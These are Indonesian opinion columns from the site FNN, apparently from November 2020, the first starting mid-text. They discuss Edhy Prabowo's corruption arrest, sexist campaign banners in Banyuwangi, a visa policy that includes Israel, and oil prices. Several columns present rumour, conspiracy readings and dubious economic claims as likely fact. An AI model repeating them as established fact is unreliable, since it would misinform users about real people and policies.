ketika mengomentari buku berjudul "How Democracies Die" yang sudah dibaca sejak tahun 2002. Padahal bukunya baru terbit 2018. Maka, penangkapan seorang menteri akan menjadi iklan besar-besaran untuk mengembalikan geliat KPK. Ada juga yang bertanya, apakah penangkapan ini berkaitan dengan rencana resuffle kabinet? Atau apakah ini bagian dari upaya menjegal Prabowo nyapres? Publik tahu, Prabowo punya banyak pesaing, khususnya dari kalangan militer. Atau apakah ini dampak dari persaingan antar partai? Karena kabar yang juga santer, sebelum Edhy Prabowo ditangkap, ada pengurus partai lain yang lebih dahulu ditangkap. Hanya saja sepi dari berita. Kalau ini dibuka, partai itu juga akan babak belur. Soal kebenaran kabar ini masih perlu ditelusuri. Munculnya kecurigaan publik ini wajar, karena publik menganggap bahwa penangkapan pejabat kakap itu biasanya ada unsur politisnya. Apalagi ini sekelas menteri. Publik sering menyaksikan ada adu kuat pihak-pihak tertentu ketika KPK mau menetapkan seseorang jadi tersangka. Lihat saja kasus e-KTP, PAW Harun Masiku, kasus Indosat, dan lain-lain. Semuanya seperti mandek. Kemandekan ini seolah mengkonfirmasi adanya unsur politik yang membuat publik curiga dan selalu mengaitkan dengan politik. Namun yang pasti, kasus ekspor benur lopster ini membuat Gerindra Babak belur. Sebab, kasus ini terjadi saat Prabowo sedang banjir hujatan dari para mantan pendukungnya. Makin berat saja Gerindra dan Prabowo. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

"Kampanye Hitam” Gender Untungkan Cabup Banyuwangi Ipuk

by Mochamad Toha Surabaya FNN - Jumat (27/11). Spanduk bernada black campaign atau kampanye hitam yang mengarah ke paslon nomor urut 2 Ipuk Fiestiandani dan Sugirah, Cabup-Cawabup dalam Pilkada Banyuwangi 2020, mulai bertebaran di berbagai sudut Kabupaten Banyuwangi. Seperti dilansir Detik.com, Senin (09 Nov 2020 14:50 WIB), di antaranya di Kecamatan Banyuwangi dan Kecamatan Glagah. Dalam spanduk itu tidak tercantum pembuat ataupun pemasangnya. Sejak Senin (9/11/2020) pagi, sudah terpasang di tempat ini (Jalan Ahmad Yani). Tidak tahu yang masang siapa di sini,” ujar Rohmad warga sekitar kepada detikcom. Spanduk ini diduga menjatuhkan paslon Ipuk Fiestiandani-Sugirah. Salah satu spanduk bertuliskan “Wong wedok iku nggone nang sumur, dapur dan kasur, gak dadi Bupati” (Perempuan itu tempatnya di sumur, dapur dan kasur. Tidak jadi Bupati). Spanduk berlatar warna merah putih itu ditemukan di beberapa titik di Banyuwangi. Hal yang sama diungkapkan Subekti, warga Jalan Kepiting, Kecamatan Banyuwangi yang juga menemukan adanya spanduk bertuliskan yang sama. Spanduk itu terpasang di pinggir jalan. “Warga tidak tahu siapa yang memasang. Kemarin belum ada. Mungkin dipasang pada malam hari,” tambahnya. Komisioner Panwaslu Kecamatan Banyuwangi Riko membenarkan adanya temuan spanduk yang diduga black campaign ini. Pihaknya masih melakukan koordinasi dengan polisi dan Bawaslu terkait dengan adanya spanduk tersebut. “Sementara ada dua kita temukan. Langkah kami berkoordinasi dengan pihak kepolisian dan Bawaslu,” ujarnya. Hal yang sama diungkapkan Slamet Kurniawan, Panwaslu Kecamatan Glagah. Menurut Slamet di wilayahnya juga ditemukan 2 spanduk yang diduga black campaign. Di Glagah ditemukan ajakan untuk tidak memilih paslon perempuan. “Ada dua juga ditemukan di wilayah Glagah,” ujar Slamet. Sementara, pihaknya masih melakukan pemantauan lagi. Apakah ada lagi spanduk yang sama. Di Banyuwangi saat ini sedang berlangsung masa kampanye pemilihan Bupati dan Wakil Bupati Banyuwangi 2020. Dua calon bupati dan wakil bupati bersaing saat ini. Paslon nomer urut 1 Yusuf Widyatmoko dan KH Muhammad Riza Aziziy dan paslon nomer urut 2 Ipuk Fiestiandani dan Sugirah. Ipuk, istri Bupati Banyuwangi Abdullah Azwar Anas. Sedangkan Yusuf, Wakil Bupati Banyuwangi. Spanduk yang diduga black campaign di Banyuwangi itu diprotes kaum perempuan di Banyuwangi. Mereka meminta penyelenggara Pilkada dan aparat kepolisian mengusut tuntas kasus diskriminasi terhadap kesetaraan gender tersebut. Anggota DPRD Banyuwangi Ficky Septalinda mengatakan, tidak ada aturan larangan perempuan ikut berperan serta dalam urusan panggung politik. Dalam pencalonan legislatif, diamanatkan 30 persen kuota perempuan wajib terpenuhi. Mengutip Detik.com, Senin (09 Nov 2020 19:40 WIB), begitu pula dalam pesta demokrasi Pilkada juga tak ada aturan pelarangan perempuan mendaftar dan ikut tampil di pesta pilkada. “Pilkada itu tidak adu tenaga atau otot, tapi adu visi misi untuk membangun Banyuwangi. Tidak zamannya untuk kampanye hitam dengan mengorbankan derajat perempuan,” ungkap Ficky kepada Detik.com, Senin (9/11/2020). Ficky menilai spanduk yang berisikan black campaign ini sengaja dibuat oleh oknum-oknum yang ingin merusak Pilkada Banyuwangi 2020. Sebab, hal ini membuat keresahan masyarakat, khususnya kaum perempuan di Banyuwangi. Perlu dicatat, saat ini sudah banyak kepala daerah perempuan yang dipercaya oleh rakyat untuk memimpin Kabupaten, Kota ataupun Provinsi. Tak hanya itu, jabatan menteri ataupun pimpinan di pusat pun juga sama. “Tentu ini kemunduran politik bagi oknum-oknum yang sengaja menghalalkan segala cara untuk menang. Sudah banyak pejabat perempuan. Ini membuktikan jika negara menjamin hak politik perempuan, baik maju dalam pilkada ataupun kegiatan politik lainnya,” ujarnya. Hal serupa diungkapkan oleh Direktur Rumah baca Ainina, Emi Hidayati, yang mengutuk keras aksi pemasangan spanduk yang tak menghormati kesetaraan gender di kontestasi politik tersebut. “Hari ini perdebatan tentang gender sudah tidak mendasar. Ketimpangan gender akibat dari cap-cap sosial yang mengorbankan salah satu jenis kelamin itulah sebenarnya awal dari kemiskinan dan awal dari penghancuran hak-hak asasi manusia,” ujar Emi kepada wartawan. Emi mengungkapkan, siapapun warga negara yang mampu mengelola pemerintahan demi kepentingan masyarakat secara luas, layak untuk mengikuti kontestasi tanpa terkecuali. “Berbeda dengan konteks “imam berjamaah” seperti shalat yang sudah ditegaskan. Clear agama memandang warga negara itu adalah laki-laki dan perempuan, pengelola kepentingan kepentingan publik itu juga diperbolehkan dilakukan perempuan,” tegas Emi. Menurut Emi, isu kehawatiran ketidakmampuan seorang perempuan dalam mengelola pemerintahan kerap kali muncul pada wilayah-wilayah politik yang tidak dewasa. “Banyak kaum wanita yang menjadi pengusaha, guru, dokter, buruh pabrik, sopir bus, sopir truk, pilot, anggota DPR, kepala dinas, dan mereka bekerja dalam kesalehannya dan mereka mampu,” tegas Emi. Maraknya spanduk kampanye hitam di Banyuwangi itu direspon perwakilan mahasiswa, ormas Pemuda Pancasila dan LSM, Senin (23/11/2020). Mereka mendatangi Bawaslu dan meminta Bawaslu menindak tegas temuan serta laporan tentang kampanye hitam ini. “Pilkada harus menjadi momentum yang berbahagia. Jangan gunakan cara-cara buruk (itu) dengan menyebarkan kampanye hitam,” ujar Naufal Witartono, Presiden Mahasiswa Program Studi Di Luar Kampus Utama (PSDKU) Unair Banyuwangi. Ketua MPC Pemuda Pancasila, Zamroni menambahkan, praktik kampanye hitam dapat merusak marwah demokrasi dan merugikan masyarakat. “Kami mendesak Bawaslu Banyuwangi tetap bekerja profesional, tetap netral dan berani menindak tegas segala bentuk praktik kampanye hitam,” ungkap Zamroni. Menurut Ketua LSM Solidaritas Masyarakat Transparansi (Somasi) Suparmin, praktik kampanye hitam dalam Pilkada Banyuwangi sudah sangat mengkhawatirkan. Menurutnya, jika dibiarkan bisa berpotensi menimbulkan perpecahan hingga konflik di masyarakat. “Kampanye hitam bisa mengganggu kondusivitas masyarakat serta stabilitas keamanan, maka harus kita lawan,” ujar Ketua LSM yang tergabung dalam Sekber LSM Macan Putih itu. Sebelumnya, para tokoh agama di Banyuwangi menyerukan agar kampanye hitam yang mulai bermunculan menjelang Pilkada Banyuwangi 2020 tersebut, segera dihentikan. Ketua MUI Banyuwangj, KH Moh Yamin mengatakan, pilkada adalah pesta demokrasi rakyat. Untuk itu harus dilaksanakan dengan gembira, dengan cara-cara yang baik, tidak menjelek-jelekkan orang lain dan tidak menimbulkan perpecahan. “Hentikanlah kampanye hitam. Gunakanlah cara yang baik, sopan, santun, untuk menjaga kerukunan ketenangan, kerukunan dan kedamaian Banyuwangi,” tegas Kiai Yamin. Ketua Badan Musyawarah Antar Gereja (Bamag) Kabupaten Banyuwangi Pendeta Anang Sugeng juga menyerukan hal serupa untuk menyudahi kampanye hitam yang akan merusak persaudaraan masyarakat Banyuwangi. “Seluruh pendukung pasangan calon 01 dan 02, tetap dalam keadaan seduluran saja. Tak usah membuat kampanye hitam yang saling menjelekkan. Apa sih manfaatnya kampanye hitam itu. Segera hentikan kampanye hitam seperti itu,” ungkap Pendeta Anang. Para tokoh agama Hindu mengajak masyarakat, khususnya umat Hindu di Banyuwangi untuk tidak mudah terprovokasi berbagai bentuk kampanye hitam dalam Pilkada Banyuwangi 2020. “Jangan mudah terprovokasi dengan segala bentuk kampanye hitam. Mari kedepankan kampanye yang santun,” ujar Loso Hadi, pemangku umat Hindu, Desa Siliragung, Selasa (17/11/2020). Menurut Rektor Universitas 17 Agustus 1945 (Untag) Banyuwangi Andang Subaharianto, kampanye hitam selama Pilkada Banyuwangi dari pihak yang cenderung mendiskreditkan perempuan, disebut sudah tidak efektif untuk kepentingan politik. “Kampanye hitam kalau dipakai untuk berjualan sebenarnya tidak laku dan tidak strategis. Munculnya kampanye hitam itu bisa jadi karena ketidakpercayaan diri dalam berkompetisi sehat,” kata Andang, Senin (16/11/2020). Andang mencontohkan, spanduk-spanduk yang mendiskriminasi dan mendiskreditkan perempuan bisa disebut sebagai kampanye hitam, dan tidak efektif. “Karena banyak perempuan yang bisa menjadi pemimpin. Ada Tri Rismaharini, Walikota Surabaya. Gubernur Jawa Timur, Khofifah Indar Parawansa yang baru datang ke Banyuwangi juga seorang perempuan,” kata Andang. Perempuan lainnya di Jawa Timur yang menjadi pemimpin, sebut saja Walikota Batu Dewanti Rumpoko; Walikota Mojokerto Ika Puspitasari; Bupati Jember Faida, dan banyak pemimpin perempuan lainnya. Dalam pilkada, memang sudah seharusnya tidak memakai kampanye hitam. Apalagi, masyarakat Banyuwangi itu sudah bisa melihat secara jernih dan rasional. Sudah bukan waktunya lagi menggunakan kampanye hitam. “Terpenting masyarakat Banyuwangi telah berpikir secara jernih dan obyektif, sehingga kampanye hitam tidak laku untuk dijual,” tegas Andang. Penulis adalah Wartawan Senior FNN.co.id.

Begini Cara Licik Pemerintah “Seludupkan” Orang Israel ke Indonesia

by Asyari Usman Medan FNN - Jumat (27/11). Ada berita tentang kelicikan para penguasa yang pro-Zionis Israel. Yaitu, langkah pemerintah untuk ‘menyeludupkan’ orang Israel dengan mengeluarkan kebijakan keimigrasian yang sangat aneh. Kebijakan keimigrasian yang aneh itu adalah menempatkan Israel sekelas dengan Korea Utara, Liberia, Nigeria, Somalia, Kamerun, Afghanistan, dan Guinea sebagai negara-negara yang boleh masuk ke Indonesia dengan ‘calling visa’ (visa yang disponsori oleh orang atau lembaga di negara tuan rumah). Artinya, orang Indonesia atau lembaga badan usaha di negara ini bisa memberikan rekomendasi visa untuk warganegara dari delapan negara yang disebut di atas. Kebijakan ini sudah ada sebelum wabah Covid-19. Tetapi, tiba-tiba saja Ditjen Imigrasi Kemenkumham, membuka kembali layanan ‘calling visa’ itu sejak 20 November 2020. Yang mengherankan ialah, kenapa Israel disamakan dengan tujuh negara lain yang oleh banyak negara dunia dianggap sebagai sumber masalah jika warga mereka diberi visa. Juru bicara Ditjen Imigrasi, Arvin Gumilang, mengatakan alasan pembukaan kembali ‘calling visa’ ialah karena banyaknya tenaga ahli dan investor yang berasal dari negara-negara tersebut. Selain itu, juga untuk mengakomodasi hak-hak kemanusiaan para pasangan kawin campur. Mengapa Israel masuk ke dalam kelompok ‘calling visa’? Mungkinkah dengan alasan kawin campur? Tampaknya tak mungkin. Atau alasan kemanusiaan seperti warga Afghanistan, Somalia, Nigeria, dll, yang memang dilanda konflik ideologi? Juga tak mungkin. Apa iya serius pemerintah mau menampung pengungsi dari tujuh negara selain Israel itu? Kecil kemungkinannya. Apa iya banyak investor dan tenaga ahli dari tujuh negara selain Israel itu? Semakin tak masuk akal. Jadi, apa kira-kira kesimpulan tentang ‘calling visa’ untuk orang Israel? Yang paling masuk akal ialah kategori investasi atau tenaga kerja ahli. Dan sangat mudah terbaca bahwa sesungguhnya tujuan utama ‘calling visa’ untuk delapan negara itu adalah memudahkan orang Israel masuk ke Indonesia. Baik yang membawa duit investasi maupun keahlian. Ketujuh negara dengan kategori konflik ideologi tadi hanya sebagai ‘penghias’ kebijakan khusus untuk Israel itu. Agar terlihat kebijakan ‘calling visa’ ini bukan untuk orang Israel saja. Padahal, tujuan utamanya adalah untuk memudahkan orang Israel masuk ke sini. Hanya untuk orang Israel saja. Tidak mungkin untuk orang Kamerun, Somalia, Liberia, Guinea, Afghanistan, apalagi Korea Utara. Kalau pun ada permohonan untuk orang dari tujuh negara selain Israel, lagi-lagi itu sebagai tindakan kosmetik saja. Paling-paling satu-dua yang akan diberi ‘calling visa’ itu. Sekadar ada bukti saja. So, beginilah cara licik pemerintah “menyeludupkan” orang Israel yang siap membawa uang ke negara ini. Sangat wajar diduga bahwa kebijakan yang memudahkan investor pro-Zionis ini sudah dirancang dengan rapi oleh para pejabat tingkat tinggi. Satu hal lagi yang pantas dicatat ialah bahwa pembukaan kembali ‘calling visa’ untuk Israel dan tujuh negara lainnya itu dilakukan di tengah hiruk-pikuk kepulangan Habib Rizieq Syihab (HRS) dan heboh soal kerumunan. Dan bersamaan pula dengan tindakan Pangdam Jaya mencopot baliho HRS. Di negara-negara Eropa, cara ini terkenal dengan istilah “burying bad news” (mengubur berita buruk) ketika publik sibuk dengan isu-isu lain. Penulis adalah wartawan senior FNN.co.id

Pertarungan Politik Dalaman Istana Dimulai?

by Rizal Fadillah Bandung FNN – Kamis (26/11). Tertangkapnya Menteri Kelautan dan Perikanan Eddy Prabowo, kader asal Partai Gerindra cukup mengejutkan masyarakat. Operasi Tangkap Tangan (OTT) yang dilakukan Komisi Pemberantasan Korupsi (KPK) kali cukup mengagetkan publik. Apalagi sudah lama KPK terbilang sepi dari OTT terhadap pejabat negara. OTT KPK kali seakan melengkapi tekanan gerakan politik moral Koalisi Aksi Menyelamatkan Indonesia (KAMI), dan revolusi akhlak yang digagas oleh Habib Rizieq Shihab (HRS). Apalagi persoalan bangsa yang semakin berat, terutama persoalan ekonomi akibat efek covid 19, kini muncul masalah baru muncul. Publik terhentak mendapat kabat Menteri Edhy Prabowo terkena OTT KPK. Kalimat ruwet-ruwet Jokowi semakin menggema, baik ke seantero negara maupun ruang-ruang di sekitar pagar istana negara. Terjepit oleh kepentingan para pencari keuntungan dari "all the president's men". Termasuk cara kerja Menteri yang terlihat mulai berantakan. Menteri yang kehilangan visi dan koordinasi. Menteri yang berfikir untuk mengkapitalisasi keuntungan jangka pendek. Eddy Prabowo adalah orang penting dan tangan kanan Prabowo Subianto Ketua Umum Partai Gerindra yang menjadi Menteri Pertahanan. Penangkapannya cukup aneh dan mengagetkan. Apakah OTT KPK ini menjadi bagian dari skenario Presiden Jokowi atau bukan? Pertanyaan yang sangat wajar mengingat sejak direvisi UU tentang KPK, lembaga ini tidak lagi bisa mandiri. KPK tidak lagi bisa lepas dari peranan Dewan Pengawas, yang tak lain adalah "orang-orangnya" Presiden. Mereka diseleksi, dipilih dan diangkat oleh Presiden. Suka-suka presiden saja. Jika OTT kali bukan karena maunya Presiden, maka artinya ada musuh dalam selimut yang sukses menerobos pagar istana. Kementrian di bawah Eddy Prabowo menjadi sarang bisnis Gerindra. Sebagaimana Menteri dari parpol lain juga membawa misi kepentingan partainya, khususnya dalam menghimpun dana. OTT Menteri Edhy Prabowo bernilai politis untuk mematikan semua jalinan bisnis ikutannya. Ini akan menjadi tekanan dan ancaman bagi Prabowo Subianto yang sudah berupaya menjadi "anak manis" Jokowi. Prabowo sekarang menjadi orang yang paling dipercaya oleh Jokowi. Prabowo dan Jokowi selalu tampil berduaan untuk memperlihatkan kepada publik tentang kedekatan mereka berdua tersebut. Bahkan Prabowo juga sudah bernai ngomong ke kalangan terbatas bahwa Jokowi sangat mempercayai dirinya sekarang. Banyak kewenangan dan kebejikan strategis yang dipercayakan kepada Prabowo. Misalnya, Prabowo ditunjuk sebagai Panglima ketahanan panga nasional. Namun apakah sekarang ada keretakan Prabowo dengan Jokowi? Apakah keretakan itu juga mungkin dengan Megawati yang membawa Prabowo kepada Jokowi?. Tapi bukan mustahil pula ada keretakan antara Jokowi dengan Megawati yang jengkel melihat Jokowi tak kunjung mereshuffle kabinet. Megawati tidak puas atas peran yang dinilainya terlalu kecil. Sementara Jusuf Kalla (JK) bersama dengan Golkar sudah mulai bermain babak baru. JK kembali menyatu bersama HRS dan Anies Baswedan, Gubernur DKI. Golkar sekarang mendukung pencabutan RUU HIP dari Prolegnas Prioritas 2021. Sementara Nasdem telah lebih dulu "hengkang" dari Jokowi dengan mengelus-ngelus Anies sebagai Capres Nasdem 2024 nanti. Sesuatu yang sebenarnya sangat tabu untuk kepentingan Jokowi ke depan. Ketika Polisi babak belur disorot sebagai alat kekuasaan, TNI begitu bagus di depan rakyat. Teori perimbangan sebagaimana dimainkan Orde Lama dahulu menghendaki TNI yang tidak terlalu kuat. Pelemahan TNI menjadi keniscayaan. TNI harus dibuat babak belur pula di depan rakyat. Kasus ancaman Panglima TNI Hadi Tjahjanto bersama komandan pasukan Komando Utama (Kotama), penurunan baliho HRS atas peringtah Pangdam Jaya, dan karangan bunga di Makodam Joya adalah momen untuk meruntuhkan wibawa TNI di mata rakyat. Kini Eddy Prabowo, istri dan petinggi KKP telah tertangkap. Telah resmi ditetapkan KPK sebagai tersangka. Entah apa peran Ali Ngabalin yang ikut dan sepesawat dengan Menteri Edhy Prabowo dari Amerika. Tetapi kemudian dilepas KPK. Mata-matakah Ali Ngabalin? Ada agenda apa pula Menteri Edhy Prabowo dan rombongan di Amerika? Menjadi sensitif dalam pertarungan global dengan kepentingan China di Indonesia. Peristiwa ini menyimpan misteri pertarungan politik di lingkaran istana. Bakalan ada episode lanjutan yang bakal jauh lebih menarik. Mungkinkah itu pembersihan atau penggulingan kekuasaan dari dalam? Semua serba mungkin saja. Penulis adalah Pemerhati Politik dan Kebangsaan.

Hati-hatilah, Doa Bayi Lobster Itu Didengar Juga

by Asyari Usman Medan FNN - Kamis (26/11). Ekspor benih lobster adalah kejahatan yang dikutuk di langit dan di bumi. Inilah bentuk kekejaman yang tak pernah dipikirkan oleh manusia, khususnya para penguasa negeri. Inilah egoisme penguasa yang sangat ceroboh. Bayi-bayi lobster itu ditangkap, dikurung, kemudian dikirim ke negeri jauh. Terpisah untuk selama-lamanya dari ayah-ibu mereka. Ekspor yang bertujuan hanya untuk memuaskan keserakahan pemegang kekuasaan. Sungguh Anda sangat tega. Anda bergembira-ria mengantungi duit hasil penjualan bayi-bayi lobster itu. Kemudian, duit hasil kekejaman itu Anda bawa jalan-jalan ke luar negeri. Anda belikan barang-barang mewah. Anda tidak memikirkan bayi-bayi lobster itu menangis sepanjang perjalanan. Anda paksa mereka pindah ke lingkungan yang asing. Kalian tidak pikirkan betapa pedihnya perasaan mereka ketika kalian renggut dari keluarga mereka. Tidak kalian pikirkan bahwa bayi-bayi lobster itu mengalami ‘bullying’ di tempat yang baru. Mungkin juga mereka sampai korban nyawa akibat tindak kekerasan di lingkungan asing. Belum lagi mereka kehilangan lantunan sholawat dan azan menjelang waktu-waktu sholat di negeri asal mereka. Wahai para penguasa yang rakus! Hentikanlah penganiayaan terhadap bayi-bayi lobster itu. Hentikanlah kezaliman kalian terhadap makhluk yang bening rupa dan bening hati itu. Sama seperti kalian, lobster juga tersayat ketika bayi-bayi mereka kalian ambil paksa. Biarkanlah mereka bermain, bercanda-ria, bersuka-cita bersama keluarga mereka. Tunggulah mereka dewasa dan paham tentang peranan mereka dalam mata-rantai kehidupan ini. Sampai mereka mengerti tentang posisi mereka dalam “food-chain” (rantai makanan) yang selalu diceramahkan oleh manusia. Kalian menyangka bahwa makhluk Allah yang tak berdaya itu bisa diperlakukan semena-mena. Kalian pikir bayi-bayi mungil itu tidak bertasbih kepada Yang Maha Pencipta. Kalian keliru total. Berhentilah kawan! Bayi-bayi lobster itu selalu “online” ke Sang Khaliq yang menjadikan semesta alam ini. Doa bayi-bayi lobster yang kalian zalimi itu didengar juga oleh-Nya. Hati-hatilah kawan.[] (Penulis wartawan senior FNN.co.id)

Taruhan, 99.99% Prabowo Subianto Tidak Akan Mundur Karena OTT Edhy

by Asyari Usman Medan FNN - Rabu (25/11). Ada yang berspekulasi bahwa Prabowo Subianto (PS) akan mengundurkan diri dari kabinet Jokowi gara-gara penangkapan Edhy Prabowo –menteri Kelautan dan Perikanan. Mungkinkah itu terjadi? Tidak akan. Boleh taruhan, 99.99% Prabowo tidak akan mundur. Hanya 0.01% kemungkinan dia meninggalkan Jokowi. Mengapa? Karena beberapa hal yang berkaitan dengan ambisi mantan Danjen Kopassus itu. Pertama, PS sudah terlanjur yakin bahwa dia akan didukung oleh Jokowi dan Megawati sebagai capres di Pilpres 2024. Artinya, kehilangan Edhy Prabowo jauh lebih kecil timbangannya dibandingkan harapan besar untuk menjadi presiden. Konon pula, harapan itu sangat solid. Harapan yang sangat logis. Walaupun banyak orang meragukannya. Harapan logis itu maksudnya adalah bahwa PS merasa tidak akan ada calon yang bakal mendapatkan dukungan besar di Pilpres 2024 itu. Kecuali dia. PS yakin ‘karomah’ Jokowi dan kekuatan politik Bu Mega akan dikerahkan untuk mencapai angan-angan lama beliau itu. Kedua, PS tidak akan mundur karena beliau masih belum lagi memulai misi ‘perbaikan dari dalam’ yang mendorong dia ikut kabinet Jokowi, hari itu. Bagi Prabowo, misi ini sangat sakral. Belum lagi mengayunkan satu-dua langkah untuk misi suci itu, tidak mungkinlah mengundurkan diri hanya gara-gara OTT Edhy. Ketiga, PS tidak akan mundur karena dia sudah terlanjur membuang basis dukungannya. Dukungan akar rumput sudah nyaris tidak ada lagi. Hanya tersisa para loyalis “pokok-e” saja. Dalam bahasa netizen haluan keras, PS mengkhianati puluhan jutaan pendukung yang telah mempertaruhkan segalanya. Mereka ini memisahkan diri dari begitu dia masuk ke kabinet Jokowi. Artinya, pengunduran diri dari kabinet Jokowi akan mengakhiri semua kemungkinan karir politik Prabowo. Dia tidak akan bisa kembali seperti masa-masa perlawanan pra-Pilpres 2019. Puluhan juta pendukung yang telah dikecewakan itu, tidak mungkin kembali berkumpul dengan PS. Singkatnya, Prabowo tak punya pilihan lain. Dia harus tetap bertahan di bawah kendali Jokowi. Dia harus rela mendengar pernyataan Jokowi terkait OTT Edhy Prabowo bahwa dia (Jokowi) akan menghormati proses hukum di KPK. Dengan kata lain, jangan harapkan mantra Jokowi untuk melepaskan jerat yang kini melilit kaki Edhy –the Golden Boy. [] Penulis adalah Wartawan Senior FNN.co.id.

Mungkinkah Pemerintah Jokowi Guncang Akibat OTT Edhy Prabowo?

by Asyari Usman Medan FNN - Rabu (25/11). Sebesar apa dampak yang mungkin muncul akibat penangkapan Edhy Prabowo --menteri Kelautan dan Perikanan? Jawaban atas pertanyaan ini bisa beragam. Tergantung sikap Prabowo Subianto (PS) sebagai pimpinan Gerindra yang menjadi wadah politik Edhy. Edhy Prabowo (EP) terkana operasi tangkap tangan (OTT) yang dipimpin oleh penyelidik senior Komisi Pemberantasan Korupsi (KPK), Novel Baswedan. EP baru saja mendarat di bandara Soekarno-Hatta dari Hawaii (AS) pada pukul 23.40, Selasa (24/11/2020). Konsekuensi penangkapan ini bisa biasa-biasa saja. Tetapi, bisa juga mengguncang pemerintahan Presiden Jokowi. Yang jelas, penangkapan EP pastilah membuat Prabowo merasa tidak enak ‘tingkat tinggi’. Prabowo juga kehilangan besar. EP adalah ‘the most trusted person’ (orang yang paling dipercaya) oleh PS di lingkungan Partai Gerindra. Paling dipercaya itu dalam arti PS yakin EP tidak mungkin melakukan hal-hal yang konyol seperti korupsi dan penyalahgunaan kekuasaan. OTT kemarin malam itu terkiat dengan dugaan korupsi ekspor bibit lobster ke sejumlah negara, terutama ke Vietnam. Banyak pihak yang menentang ekspor itu karena merugikan nelayan kecil. Mantan menteri kelautan, Susi Pudjiastuti, termasuk yang tidak setuju. Bersama EP, KPK juga menggelandang Iis Rosita Dewi, anggota Komisi V DPRRI. Iis Rosita adalah istri EP. Beberapa orang lainnya juga dibawa dengan mobil KPK. Mungkinkah pemerintah Jokowi akan mengalami terpaan keras akibat penangkapan menteri kubu PS itu? Bisa saja itu terjadi kalau Prabowo Subianto mengundurkan diri. Koalisi Jokowi bisa guncang jika PS keluar. Sebab, pengunduran diri Prabowo akan menciptakan mush baru pada saat Jokowi sangat memerlukan banyak teman. Jadi, kalau Prabowo bereaksi temperamental seperti biasanya, sangat mungkin akan terjadi kekacauan. Apalagi kalau beliau sampai gebrak-gebrak meja di Kemenhan. Pasti bakal ramai. Jokowi bisa guncang besar dan sempoyongan. Walaupun belum tentu tersungkur. Tapi, kalau Prabowo tetap dengan sikap “siap Ndan” di kabinet, maka dipastikan tidak akan ada riak. Jokowi tetap aman-aman saja. Penuli adalah Waratwan Senior FNN.co.id

Harga Minyak Turun Karena Digondol Tuyul

by Salamuddin Daeng Jakarta FNN – Rabu (25/11). Banyak yang masih berharap harga minyak naik kembali. Padahal harga minyak sudah bertahan rendah dalam setengah dasawarsa terakhir. Jika secara jeli dicermati sejak kesepakatan Paris COP 21, harga minyak sudah terpukul dan bertahan di harga yang sangat rendah. Diperkirakan susah untuk kembali naik lagi. Kalau ditarik lebih jauh lagi. Cerita mengenai berakhirnya dominasi minyak sebagai penopang utama ekonomi dunia, telah dimulai sejak Barack Obama menjadi Presiden Amerika. Pemerintahan Barack Obama yang melakukan pencetakan uang dolar dengan modal kertas dan tinta saja. Padahal ketika itu harga minyak dunia tengah merosot tajam. Kebijakan Obama ini merupakan bukti awal bawah petro dolar telah berakhir. Jadi minyak tidak lagi menjadi jangkar mata uang dolar. Antara harga minyak dan harga dolar yang diperdagangkan secara internasional tidak lagi memiliki keterkaitan. Dolar mulai kehilangan jangkarnya. Perubahan kebijakan Barack Obama ini adalah bagian pokok yang sangat menentukan. Rezim petro dolar yang usianya sudah 45 tahun resmi diahiri. Tidak banyak analisis yang memang bisa mengupas masalah ini. Namun inilah permasalahan yang sebetulnya terjadi. Perubahan tatanan keuangan global inilah yang menjadi inti masalahan ekonomi dunia hari ini. Dari sinila semua persoalan dimulai. Sementara para pemgambil keputusan politik Indonesia memang tidak cukup mengerti dan memahami masalah ini. Namun peta politik global tengah bergerak ke arah mengakhiri minyak sebagai buffer politik dan keuangan dunia. Uang dari minyak selama ini merupakan sumber dana utama untuk membiayai perekonmian dunia. Dimulai dari membiayai berbagai institusi keuangan multilateral, hingga membiayai konflik dan perang berskala internasional, dalam rangka mengatur keseimbangan politik global. Berakhirnya rezim petro dolar adalah akibat langsung dari badai transparansi. Badai yang datang sebagai konsekuensi kemajuan ICT dan digitalisasi ekonomi dan keuangan dunia. Semua keputusan keuangan dilahirkan dari bigdata, blockchain. Kenyataan ini akan mengairi era paper money yang selama ini ditopang oleh eksklusivitas infrormasi dan disparitas informasi. Sampai sekarang tidak ada yang tau, berapa jumlah dolar yang beredar di seluruh dunia. Walaupun demikian, era tersebut sekarang sudah berakhir dengan transparansi dan digitalisasi informasi keuangan yang mengglobal. Semua informasi tentang keuangan dunia sudah bisa diakses antar negara. Paling kurang antar sesama lembaga keuangan. Lalu bagaimana dengan uang-uang hasil minyak yang selama ini sebagian besar terpendam di ruang- ruang gelap? Yang digunakan untuk membiayai perang dan kudeta? Juga yang dugunakan sebagai sumber dana untuk membiayai konflik dan hingga terorisme? Semua akan digulung habis oleh badai transparasi dan digitalisasi informasi. Disinilah pertarungan yang sebenarnya akan berlangsung. Sebuah pertarungan yang bakal menyita secara keseluruhan uang-uang kotor dari hasil minyak dan hasil penjarahan kekayaan alam dunia selama berpuluh puluh-puluh tahun. Sekarang para pemain minyak harus berhadapan dengan transparansi dan digitalisisi informasi dunia. Analisis inilah yang paling relevan untuk melihat Mengapa Arab Isralel harus berdamai. Karena minyak sudah tidak lagi menjadi jangkar utama pendukung keuangan global. Karena minyak akan dipukul dengan harga yang sangat rendah. Karena minyak sudah tidak lagi sebagai sumber utama keuangan, maka otomatis konflik di Timur Tengah juga akan berakhir dengan sendirinya. Apa lagi alasan yang mau dikonflikkan di Timur Tengah? Sudah tidak ada lagi bahan yang menjadi sandaran utama. Jadi damailah di Timur Tengah. Sementara di Indonesia, masih saja melakukan jampi- jampi agar harga minyak naik. Sementara gerak zaman tidak demikian. Di depan mata, covid 19 telah memukul harga minyak sampai minus. Ini belum pernah terjadi sebelumnya. Datangnya copid 19 ini adalah pukulan utama terhadap minyak dunia yang menjadi penopang utama ekonomi dunia. Jadi, minyak sudah dipukul dengan transparansi. Dipukul juga dengan COP 21 Paris, dipukul dengan copid 19. Ini adalah episentrum pertarungan saat ini. Sejarah telah bergerak maju. Tidak bisa dihentikan oleh jampi jampi tuyul. Jadi peta jalan bagi transisi energi. Dari fosil ke non fosil telah dibuka demgan sangat lebar. Pekerjaan bagi transisi energi, digitalisasi, bukan pekerjaan main main. Bukan sekedar pencitraan politik belaka. Bukan untuk menipu-nipu lembaga keuangan global agar menurunkan utang ke negara ini. Tetapi sebuah peta jalan sejarah perubahan manusia. Bumi yang kita diami ini tidak boleh lagi ada yang membakar minyak di jalan-jalan. Tidak boleh lagi membakar batubara di sepanjang pantai bagi pembangkit listrik. Segala aktivitas yang mengotori biosfer tempat kita hidup harus diahiri. Renungkanlah ! Penulis adalah Peneliti Asosiasi Ekonomi dan Politik 